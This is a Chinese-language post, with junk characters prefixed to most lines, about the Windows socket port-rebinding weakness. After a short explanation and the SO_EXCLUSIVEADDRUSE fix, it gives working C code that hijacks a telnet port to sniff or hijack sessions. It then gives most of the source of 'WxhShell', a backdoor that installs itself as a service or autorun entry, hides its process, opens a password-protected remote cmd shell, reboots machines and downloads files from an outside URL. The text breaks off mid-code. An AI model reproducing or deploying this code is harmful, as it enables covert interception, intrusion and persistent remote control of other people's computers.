在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
poE0{HOU s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
XPc^Tq &$+AXzn saddr.sin_family = AF_INET;
N%@Qf~ 4Z3su^XR saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}CSDV9).S 2DA]i5
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
m!!/Za z^B,:5Tt 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+Ze}B*0 T=DbBy0- 这意味着什么?意味着可以进行如下的攻击:
"Fr.fhh'~ LBeF&sb6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>58YjLXb j^sg6.Z* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
k=$TGqQY? ;?Tbnn Wn 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Wu/]MBM ~7w"nIs<c 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8Al{+gx@? Z?q]bSIT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
u{cW: Vr)S{k-Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
KfEx"94 e*kpdS~U& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
B:Oa}/H
x;.Jw6g #include
d'gfQlDny #include
g}oi!f$| #include
yPBZc h %- #include
J1U/.`Oy DWORD WINAPI ClientThread(LPVOID lpParam);
!PlEO 2at int main()
p<FzJ {
$99n&t$Y WORD wVersionRequested;
}"H,h)T DWORD ret;
Wis~$" WSADATA wsaData;
hh%-(HaLX3 BOOL val;
ub0.J#j@ SOCKADDR_IN saddr;
sE<V5`Z= SOCKADDR_IN scaddr;
BwEN~2u6 int err;
?p{Nwl# SOCKET s;
^Z+?h&%% SOCKET sc;
1-uxC^u?|# int caddsize;
-7[@R;FS HANDLE mt;
~Ffo-Nd- DWORD tid;
,-LwtePJ0 wVersionRequested = MAKEWORD( 2, 2 );
>2)OiQ`zg err = WSAStartup( wVersionRequested, &wsaData );
>>)b'c if ( err != 0 ) {
?3,:-"(@p printf("error!WSAStartup failed!\n");
)EuvRLo{S7 return -1;
1=c\Rr9] }
x+:UN'"r saddr.sin_family = AF_INET;
re?,Wext\ n,(sBOQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
SM#]H-3 n)-$e4u2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
g)[V(yWu saddr.sin_port = htons(23);
HZB>{O if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~H_/zK6e {
^7cGq+t printf("error!socket failed!\n");
6vo;!V6 return -1;
`2WFk8) F }
J?1 uKR val = TRUE;
#U4F0BdA //SO_REUSEADDR选项就是可以实现端口重绑定的
sqwGsO$# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
34O
`@j0-3 {
rQs)O<jl printf("error!setsockopt failed!\n");
iL&fgF"' return -1;
L.2^`mZs }
KeB"D!={; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
z+wA
rPxc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ItVWO:x&v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
".V$~n( qvsd5P eCO if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Wx}8T[A} {
T^t#
c ret=GetLastError();
WIT>!|w_ printf("error!bind failed!\n");
KnQ*vM*VM return -1;
|Nn)m }
py!|\00} listen(s,2);
AaOuL,l while(1)
5"@*?X K^ {
=pO^7g caddsize = sizeof(scaddr);
;>yxNGV` //接受连接请求
y/{fX(aV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
i2Qz4 $z if(sc!=INVALID_SOCKET)
Egp/f|y {
a=9:[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
KIf dafRL if(mt==NULL)
w^|*m/h|@u {
Y'S%O/$ printf("Thread Creat Failed!\n");
EStB#V^ break;
Tod&&T'UW }
C.yQ=\U2 }
zuad~%D<I CloseHandle(mt);
6+|do+0Icg }
3>AMII closesocket(s);
_Xc8Yg }` WSACleanup();
L-WT]&n_ return 0;
2d #1=+V }
q4:o#K# DWORD WINAPI ClientThread(LPVOID lpParam)
@ $ ;q; {
{ ]{/t-= SOCKET ss = (SOCKET)lpParam;
Lv;^My SOCKET sc;
{_[N<U:QT& unsigned char buf[4096];
X::JV7hu SOCKADDR_IN saddr;
feDlH[$ long num;
EoR}Af DWORD val;
|!3DPA(_ DWORD ret;
XK3tgaH //如果是隐藏端口应用的话,可以在此处加一些判断
ghG**3xr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
rNWw?_H-H( saddr.sin_family = AF_INET;
pYZmz saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
DFB@O|JL saddr.sin_port = htons(23);
'4+
ur` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p
Z|V
3 {
9k'7832u printf("error!socket failed!\n");
.\ULbN3Z return -1;
TOB-aAO }
x:NY\._ val = 100;
\O3m9,a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WdH$JTk1 {
KK/tu+" ret = GetLastError();
TCwFPlF| return -1;
en4k/w_ }
3=P]x;[ba if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b.JuI {
w7.V6S$Ga ret = GetLastError();
DZ'P@f)] return -1;
EPI4!3] }
*SbMqASv4G if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
["k,QX {
,F8 Yn5h printf("error!socket connect failed!\n");
/ |;RV" closesocket(sc);
D[[|")Fn closesocket(ss);
>reU#j return -1;
p?%y82E }
lHY+}v0 while(1)
qdJ=lhHM} {
pSH=%u> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
TVtvuvQ2K //如果是嗅探内容的话,可以再此处进行内容分析和记录
L2[($l //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Y|F9}hj( num = recv(ss,buf,4096,0);
ios&n)W& if(num>0)
O_muD\ send(sc,buf,num,0);
7?!d^$B else if(num==0)
#_ ;lf1x! break;
5FPM`hLT num = recv(sc,buf,4096,0);
~OYiq}g if(num>0)
6RU~"C send(ss,buf,num,0);
zOAd~E else if(num==0)
UawyDs break;
kYP#SH/ }
Fh&G;aEq closesocket(ss);
!OhC/f(GBZ closesocket(sc);
}<0BX \@I return 0 ;
hohfE3rd }
t9GR69v:? oz\!V*CtK c)6m$5] ==========================================================
Gt8M&S-; pGP7nw_g 下边附上一个代码,,WXhSHELL
7JD' ) :DK {Vg6 ==========================================================
]!W=^! "b~+;<}Q #include "stdafx.h"
niMsQ TM__I\+Q #include <stdio.h>
IEL%!RFG #include <string.h>
M!siK2 #include <windows.h>
P8OaoPj #include <winsock2.h>
hIYNhZv #include <winsvc.h>
\}yc`7T:L0 #include <urlmon.h>
5zK4Fraf D=A&+6B@- #pragma comment (lib, "Ws2_32.lib")
Ljm[?*H# #pragma comment (lib, "urlmon.lib")
#ZUI)9My@ >jDDQ@ #define MAX_USER 100 // 最大客户端连接数
W 8<&gh+ #define BUF_SOCK 200 // sock buffer
{ T/[cu< #define KEY_BUFF 255 // 输入 buffer
]#iigPZ7 Fk&c=V;SU #define REBOOT 0 // 重启
].avItg #define SHUTDOWN 1 // 关机
u74[>^ @Myo'{3vF #define DEF_PORT 5000 // 监听端口
(fH#I tf ^)/0yB #define REG_LEN 16 // 注册表键长度
>>4qJ%bL #define SVC_LEN 80 // NT服务名长度
@W.S6;GA\ C!O0xhs // 从dll定义API
^x ]r`b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
MVpGWTH@F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!NK1MU?T) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&C5_g$Ma.Z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\{_q.;} 7uqzm // wxhshell配置信息
w?PkO p struct WSCFG {
ZuzEg *lb int ws_port; // 监听端口
-u+vJ6EY char ws_passstr[REG_LEN]; // 口令
(!u~CZ; int ws_autoins; // 安装标记, 1=yes 0=no
l ~"^7H?4e char ws_regname[REG_LEN]; // 注册表键名
93>jr<A char ws_svcname[REG_LEN]; // 服务名
+%z>H"J. char ws_svcdisp[SVC_LEN]; // 服务显示名
/s&9SYF char ws_svcdesc[SVC_LEN]; // 服务描述信息
>a<.mU|# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
PudS2k_Qv int ws_downexe; // 下载执行标记, 1=yes 0=no
E:_ZA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
;J( 8
L char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0(}t8lc 94`7a<&ZNL };
dw>C@c#" @}u*|P* // default Wxhshell configuration
(*9$`!wS struct WSCFG wscfg={DEF_PORT,
c%
-Tem'# "xuhuanlingzhe",
'T;P;:!\ 1,
VOsRAn/N "Wxhshell",
^rR1ZVY "Wxhshell",
h]&GLb&<? "WxhShell Service",
:wyno#8`- "Wrsky Windows CmdShell Service",
W&W5lArr "Please Input Your Password: ",
U BU=9a5 1,
BQHVQs "
http://www.wrsky.com/wxhshell.exe",
RZ?jJm$ "Wxhshell.exe"
fSj5ZsO };
CT<7mi! VR 8-&N // 消息定义模块
y3Qsv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
np^N8$i:n char *msg_ws_prompt="\n\r? for help\n\r#>";
e;q!6% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
wo{gG?B char *msg_ws_ext="\n\rExit.";
Z9ZPr?C= char *msg_ws_end="\n\rQuit.";
,Ks8*;#r char *msg_ws_boot="\n\rReboot...";
Lnl(2xD char *msg_ws_poff="\n\rShutdown...";
Y=?3 js?O char *msg_ws_down="\n\rSave to ";
(UD@q>c
=%K;X\NB char *msg_ws_err="\n\rErr!";
E?f-wQF char *msg_ws_ok="\n\rOK!";
9wUkh}s SYJD?&C; char ExeFile[MAX_PATH];
yjX9oxhtL int nUser = 0;
3,3N^nSD HANDLE handles[MAX_USER];
z (wc0I int OsIsNt;
^98~U\ar >Eto(
y"q SERVICE_STATUS serviceStatus;
f|c{5$N! SERVICE_STATUS_HANDLE hServiceStatusHandle;
%3-y[f '3fu // 函数声明
N/2T[s_& int Install(void);
xwq
(N_ int Uninstall(void);
nPl?K:( int DownloadFile(char *sURL, SOCKET wsh);
^A/k)x6 int Boot(int flag);
n0 {i&[I~+ void HideProc(void);
G`61~F% int GetOsVer(void);
19)i*\+ int Wxhshell(SOCKET wsl);
xGg )Y# void TalkWithClient(void *cs);
}B+C~@j int CmdShell(SOCKET sock);
J/aC}}5D int StartFromService(void);
7(8;to6( int StartWxhshell(LPSTR lpCmdLine);
m}t`FsB. ,!y$qVg'\f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
sIGMA$EK VOID WINAPI NTServiceHandler( DWORD fdwControl );
xsbE TP? %T%sGDCV // 数据结构和表定义
l<LI7Z]A SERVICE_TABLE_ENTRY DispatchTable[] =
<0&*9ZeD {
JIOR4' 9 {wscfg.ws_svcname, NTServiceMain},
zKJ#`OhT {NULL, NULL}
ChPmX+.i_ };
IY\5@PVZ )'#A$ Fj // 自我安装
m8hk:4Ae int Install(void)
[!#L6&:a8 {
<)c)%'v char svExeFile[MAX_PATH];
K=h9Ce HKEY key;
c9u`!'g`i strcpy(svExeFile,ExeFile);
SsDmoEeB[ Vaw+.sG`AP // 如果是win9x系统,修改注册表设为自启动
*H2r@)Y[~ if(!OsIsNt) {
giw &&l=_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jcf7n`L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"_NN3lD)X RegCloseKey(key);
#'szP\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D8?Vn" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CXMLt RegCloseKey(key);
c]o'xd,T8\ return 0;
plstZ,#j }
0-Ku7<a }
)g%d:xI }
yjJ5>cg else {
<=/hil %pL''R9VF // 如果是NT以上系统,安装为系统服务
:{l_FY436 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'S&zCTX7j if (schSCManager!=0)
4!yzsPJL {
XK@E;Rv SC_HANDLE schService = CreateService
.?sx&2R2 (
bwMm#f
schSCManager,
;$wVu|& wscfg.ws_svcname,
B%6)}Nl[ wscfg.ws_svcdisp,
ul >3B4 SERVICE_ALL_ACCESS,
aeM+ d`f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
n 0L^e SERVICE_AUTO_START,
ZKTz
, SERVICE_ERROR_NORMAL,
dcN22A3 svExeFile,
0GCEqQy8 NULL,
>}i E( NULL,
:':s@gqr NULL,
n;Vs_u/Nx NULL,
p}~JgEE NULL
SoK
iE );
VjZ|$k if (schService!=0)
"@0]G<H
{
?IT*:A]E CloseServiceHandle(schService);
t-bB>q#3> CloseServiceHandle(schSCManager);
)Y{L&A strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g1 "kTh strcat(svExeFile,wscfg.ws_svcname);
W.KDVE$}f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#.)0xfGW)n RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
je=a/Y=%U{ RegCloseKey(key);
JP[K;/ return 0;
,w4V?>l }
fJ!R6D }
$B5aje}i CloseServiceHandle(schSCManager);
Bn&ze.F }
-X2Buz8 }
^8N}9a `7V]y- return 1;
.Vvx,>>D }
=MDysb&: ?J~_R1Z // 自我卸载
~dTrf>R8M int Uninstall(void)
z5*'{t) {
l}A93jSL HKEY key;
M@v.c;Lt tW}'g:s if(!OsIsNt) {
MeZf*'
J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FP4P|kl/9' RegDeleteValue(key,wscfg.ws_regname);
<$Yd0hxjU RegCloseKey(key);
oV78Hq6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
59;KQ RegDeleteValue(key,wscfg.ws_regname);
1f=gYzuO) RegCloseKey(key);
&7tbI5na@ return 0;
CryBwm }
t&e{_|i#+ }
ZyFjFHe+ }
N6i Q8P- else {
LG#t<5y~ m#\dSl} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
hf&9uHN%7m if (schSCManager!=0)
iSs:oH3l {
Ao&"r[oJSv SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
-]M5wb2, if (schService!=0)
LyFN.2qw {
_u QOHwn if(DeleteService(schService)!=0) {
8[{ Vu0R CloseServiceHandle(schService);
Z=vU}S>r|v CloseServiceHandle(schSCManager);
!%%6dB@%t return 0;
IF:;`r@% }
i?^L/b`H CloseServiceHandle(schService);
FJ)$f?=Qd }
X$W~mQma6 CloseServiceHandle(schSCManager);
PALc;"]O }
ge8ZsaiU }
{;6`_-As% 6i3$C W return 1;
svH !1b }
*u;Iw{.{ /h|#J // 从指定url下载文件
P71Lqy)5}A int DownloadFile(char *sURL, SOCKET wsh)
Y`a3tO=Pd {
'?(% Zxw%& HRESULT hr;
/f;~X"! char seps[]= "/";
>tW#/\x{ char *token;
P( 8OQL: char *file;
n/mG|)Xt char myURL[MAX_PATH];
Oxd]y1 char myFILE[MAX_PATH];
@b2aNS<T h(EhkCf strcpy(myURL,sURL);
%n9aaoD token=strtok(myURL,seps);
8v%o," while(token!=NULL)
zIAD9mQex {
;u)I\3`*! file=token;
A2Gevj?F$ token=strtok(NULL,seps);
7hPY_W
y }
*gWwALGo5 [.wYdv35 GetCurrentDirectory(MAX_PATH,myFILE);
oXF.1f/h strcat(myFILE, "\\");
{R6ZKB strcat(myFILE, file);
o?\?@H send(wsh,myFILE,strlen(myFILE),0);
1iF1GkLEq send(wsh,"...",3,0);
Rnq7LGy hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
/mzlH if(hr==S_OK)
<wD-qT W return 0;
3(80:@| else
|&i<bqLw: return 1;
aQ@oH# }@d @3 }
13x p_j L~N460 // 系统电源模块
7B66]3v int Boot(int flag)
ysY*k` 5 {
R0*|Lo$6 HANDLE hToken;
;;/{xvQ.1 TOKEN_PRIVILEGES tkp;
4BpZJ~(p @cXMG6:{ if(OsIsNt) {
+v:SM9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a9Zq{Ysj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@`9]F7h5W tkp.PrivilegeCount = 1;
88$8d>- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
V(!V_Ug9. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
{]4LULq if(flag==REBOOT) {
\Yr Ue1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
BnF^u5kv % return 0;
/od@!/ }
<lJ345Q else {
(KZ{^X?a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
1 [Bk%G@D& return 0;
@-`*m+$U6 }
gL/9/b4 }
}W^A*]X else {
QS;f\'1bb if(flag==REBOOT) {
yyTnL 2Y9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
P?P#RhvA1 return 0;
1<aP92/N& }
^E>3|du]O else {
aV0"~5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
$U-0)4yf return 0;
6[AL|d
DK }
":N9(}9 }
>9Vn.S l,aay-E return 1;
xxQ;xI0+] }
k$:|-_(w A?OQE9' // win9x进程隐藏模块
B^}yo65I void HideProc(void)
M&M6;Ph {
XW92gI<O <
I``&>
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
SUK?z!f<i if ( hKernel != NULL )
VuZr:-K/ {
,|/f`Pl pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
#~=RyH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
vW@=<aS Z FreeLibrary(hKernel);
<9b&<K: }
W\V.r$? v hOK8(U0 return;
lH~[f }
WUTowr bpa?C // 获取操作系统版本
j![\& z int GetOsVer(void)
ZS o) {
>y+B OSVERSIONINFO winfo;
tfWS)y7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
O^rD HFj, GetVersionEx(&winfo);
@>7%qS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_,*r_D61S return 1;
%B?=q@!QWn else
M869MDo return 0;
w&.aQGR# }
oxtay7fx 0b 54fD= // 客户端句柄模块
An0GPhC int Wxhshell(SOCKET wsl)
)Q JUUn# {
HjwE+: w SOCKET wsh;
m(P]k'ZH? struct sockaddr_in client;
tO&^>&;5 DWORD myID;
X5w$4Kj&4l |5 ]X| v while(nUser<MAX_USER)
UC$ppTCc? {
{K!)Ss int nSize=sizeof(client);
HK%7g wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)LCHy^' if(wsh==INVALID_SOCKET) return 1;
]I6 J7A[ -tU'yKhn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
BFt> 9x]T if(handles[nUser]==0)
EiaW1Cs closesocket(wsh);
6wg^FD_Q else
.X;K%J2 nUser++;
HE\K@3- }
'0,^6'VWOV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
H6gSO(U _WbxH return 0;
iJ|uvPCE }
.eC1qWZJpd YHl;flv // 关闭 socket
;O#>Y void CloseIt(SOCKET wsh)
:MDKC /mC {
]JR +ayk7 closesocket(wsh);
*n"{J(Jt` nUser--;
bQ5\ ]5M ExitThread(0);
m)D|l1AtF }
@[v~y"tE} U`s{Jm // 客户端请求句柄
r@,2E6xn void TalkWithClient(void *cs)
7o}J%z {
{f p[BF hFBe,'3M SOCKET wsh=(SOCKET)cs;
C9 j|OSgk char pwd[SVC_LEN];
Dum9lj char cmd[KEY_BUFF];
_Bj":rzY char chr[1];
Z$? # int i,j;
M"To&?OI Jfl!#UAD|n while (nUser < MAX_USER) {
A+?`?pOm& j_7mNIr if(wscfg.ws_passstr) {
~7Ux@Sx; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{+ b7sA3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
FXU8[j0P_G //ZeroMemory(pwd,KEY_BUFF);
W=4FFl[ i=0;
h!9ei6 while(i<SVC_LEN) {
3HK\BS T&7qC=E#5 // 设置超时
*DhiN fd_set FdRead;
J<lO=
+mg struct timeval TimeOut;
{BU;$ FD_ZERO(&FdRead);
~flV`wy$$1 FD_SET(wsh,&FdRead);
bi;1s'Y<D TimeOut.tv_sec=8;
"5$B>S(Q TimeOut.tv_usec=0;
P{^6v=8) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
~WV"SaA)*U if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
BING{ew kB%JNMF{A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Yc*;/T} pwd
=chr[0]; C$)onk
if(chr[0]==0xd || chr[0]==0xa) { Od)C&N=y
pwd=0; R@rBEW&
break; &b& ,
} RViuJ;
i++; 9=2$8JN=(l
} X!g#T9kG
SByW[JE
// 如果是非法用户,关闭 socket ]e@Oiq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BIL Lq8)
} 7Hu3>4<
3sZ\0P}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W
`}Rf\g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UW
EV^ &"x
jRV/A!4
while(1) { 8Uxne2e
0:d_Yv,D
ZeroMemory(cmd,KEY_BUFF); 8)I^ t81
3?
+Hd
// 自动支持客户端 telnet标准 lnR{jtWP
j=0; 6)Lk-D
while(j<KEY_BUFF) { #>+ HlT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wj0\$NQ=x
cmd[j]=chr[0]; N] sAji*
if(chr[0]==0xa || chr[0]==0xd) { B^9j@3Ux
cmd[j]=0; ?6Y?a2 |
break; y'*K|aTG
} U4B(#2'
j++; =rX>.P%Q 5
} MFk5K
XpJ7o=?W3
// 下载文件 IO-Ow!
if(strstr(cmd,"http://")) { E?0%Z&1h
send(wsh,msg_ws_down,strlen(msg_ws_down),0); M/gGoE{
if(DownloadFile(cmd,wsh)) @MCg%Afw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3$9W%3
else @s2y~0}#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E~oOKQ5W
} TWFr
4-
else { *!7O~yQ
Jz e:[MYS
switch(cmd[0]) { e**qF=HCw
u4h4.NHX
// 帮助 ZzT9j~
case '?': { c\ l kD-\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WI-1)1t
break; *bA.zmzM
} u:_,GQ )\
// 安装 >I&5j/&}+
case 'i': { AkQ~k0i}b
if(Install()) pcWPH.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D!IY&H,wo
else wDe& 1(T^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hja3a{LH
break; fmDCP kj
} ^3L0w}#
// 卸载 x+@rg];m
case 'r': { wi6
~}~%
if(Uninstall()) @r/nF5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JrRH\+4K
else F@B]et7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b!5~7Ub.No
break; b2&0Hx
} *YuF0Yt
// 显示 wxhshell 所在路径 [:SWi1cK2
case 'p': { 5taT5?n2
char svExeFile[MAX_PATH]; p4
^yVa
strcpy(svExeFile,"\n\r"); J]pir4&j
strcat(svExeFile,ExeFile); x-&@wMqkc
send(wsh,svExeFile,strlen(svExeFile),0); CdjI`
break; PBTnIU
} 6zuTQ^pz
// 重启 t=W}SH
case 'b': { <1${1A <Wa
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +}os&[S
if(Boot(REBOOT)) #fn)k1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9N3o-=
else { XYOC_.f1
closesocket(wsh); Sw,+p
ExitThread(0); ud@%5d
} 5IjGm
break; 4yA+h2
} O`t&ldU
// 关机 j/c&xv7=
case 'd': { HJ[c M6$2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XW)lDiJl
if(Boot(SHUTDOWN)) a fW@T2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m'=Crei
else { ywmo#qYe
closesocket(wsh); IDriGZZ<)6
ExitThread(0); #r~# I}U
} r1{@Ucw2
break; .:%0E`E
} oDA XiY$u
// 获取shell aP@N)"
case 's': { 9Uekvs=r=M
CmdShell(wsh); ,Np0wg0
closesocket(wsh); Q1I6$8:7
ExitThread(0); :vQrOn18p
break; Q6!zZ))~
} V1`o%;j
// 退出 WUXx;9 >
case 'x': { (Y? gn)*t
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <7Or{:Sc90
CloseIt(wsh); )e=D(qd
break; 2,b(,3{`4:
} |tMWCA
// 离开 g63(E,;;J
case 'q': { a;qryUyG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ND#Yenye
closesocket(wsh); qUW!
G&R
WSACleanup(); }"P|`"WW
exit(1); &P}_bx
break; *:LK8U
} li'YDtMKCY
} yT"Eq"7/Y#
} 6"5A%{J
*-=(Q`3
// 提示信息 S\YTX%Xm}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l\!fj#
} ^?7-r6
} )D5"ap]fX
< #}5IQ5`Z
return; BB!THj69a6
} aFb==73aLw
BxWPC#5
// shell模块句柄 c%2QZ C
int CmdShell(SOCKET sock) c"n\cNP<
{ FaQe_;
STARTUPINFO si; r4XK{KHn
ZeroMemory(&si,sizeof(si)); ll<Xz((o
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R'bTN|Cq
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0KcyLAJ
PROCESS_INFORMATION ProcessInfo; ?FeYN+qR
char cmdline[]="cmd"; 7{)G_?Q&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0w\zLU
return 0; ~ Ei $nV
} Jr
,;>
hz;G$cuEE
// 自身启动模式 Vod\a5c
int StartFromService(void) QT<
}]
0
{ <ro7vPKNa
typedef struct ['X]R:3h
{ <EB+1GFuI
DWORD ExitStatus; @uqd.Q
